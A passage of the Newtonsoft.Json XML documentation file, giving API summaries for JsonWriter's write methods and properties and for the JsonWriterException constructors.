cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.UInt32,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.UInt32},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.UInt64,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.UInt64},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Uri,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.UInt16,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.UInt16},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteUndefinedAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes an undefined value.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteWhitespaceAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.SetWriteStateAsync(Newtonsoft.Json.JsonToken,System.Object,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously ets the state of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> being written.</param>\n            <param name=\"value\">The value being written.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\">\n            <summary>\n            Gets or sets a value indicating whether the destination should be closed when this writer is closed.\n            </summary>\n            <value>\n            <c>true</c> to close the destination when this writer is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\">\n            <summary>\n            Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed.\n            </summary>\n            <value>\n            <c>true</c> to auto-complete the JSON when this writer is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Top\">\n            <summary>\n            Gets the top.\n            </summary>\n            <value>The top.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.WriteState\">\n            <summary>\n            Gets the state of the writer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Path\">\n            <summary>\n            Gets the path of the writer. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Formatting\">\n            <summary>\n            Gets or sets a value indicating how JSON text output should be formatted.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written to JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Culture\">\n            <summary>\n            Gets or sets the culture used when writing JSON. Defaults to <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the destination and also flushes the destination.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the destination is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndObject\">\n            <summary>\n            Writes the end of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndArray\">\n            <summary>\n            Writes the end of an array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndConstructor\">\n            <summary>\n            Writes the end constructor.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyName(System.String,System.Boolean)\">\n            <summary>\n            Writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEnd\">\n            <summary>\n            Writes the end of the current JSON object or array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token and its children.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonReader,System.Boolean)\">\n            <summary>\n            Writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n            <param name=\"writeChildren\">A flag indicating whether the current token's children should be written.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token and its value.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n            <param name=\"value\">\n            The value to write.\n            A value is only required for tokens that have an associated value, e.g. the <see cref=\"T:System.String\"/> property name for <see cref=\"F:Newtonsoft.Json.JsonToken.PropertyName\"/>.\n            <c>null</c> can be passed to the method for tokens that don't have a value, e.g. <see cref=\"F:Newtonsoft.Json.JsonToken.StartObject\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndent\">\n            <summary>\n            Writes indent characters.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueDelimiter\">\n            <summary>\n            Writes the JSON value delimiter.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndentSpace\">\n            <summary>\n            Writes an indent space.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON without changing the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRawValue(System.String)\">\n            <summary>\n            Writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int32})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt32})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int64})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt64})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Single})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Double})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Boolean})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int16})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt16})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Char})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Byte})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.SByte})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Decimal})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.DateTime})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.DateTimeOffset})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Guid})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.TimeSpan})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteWhitespace(System.String)\">\n            <summary>\n            Writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Dispose(System.Boolean)\">\n            <summary>\n            Releases unmanaged and - optionally - managed resources.\n            </summary>\n            <param name=\"disposing\"><c>true</c> to release both managed and unmanaged resources; <c>false</c> to release only unmanaged resources.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.SetWriteState(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Sets the state of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> being written.</param>\n            <param name=\"value\">The value being written.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonWriterException\">\n            <summary>\n            The exception thrown when an error occurs while writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriterException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member 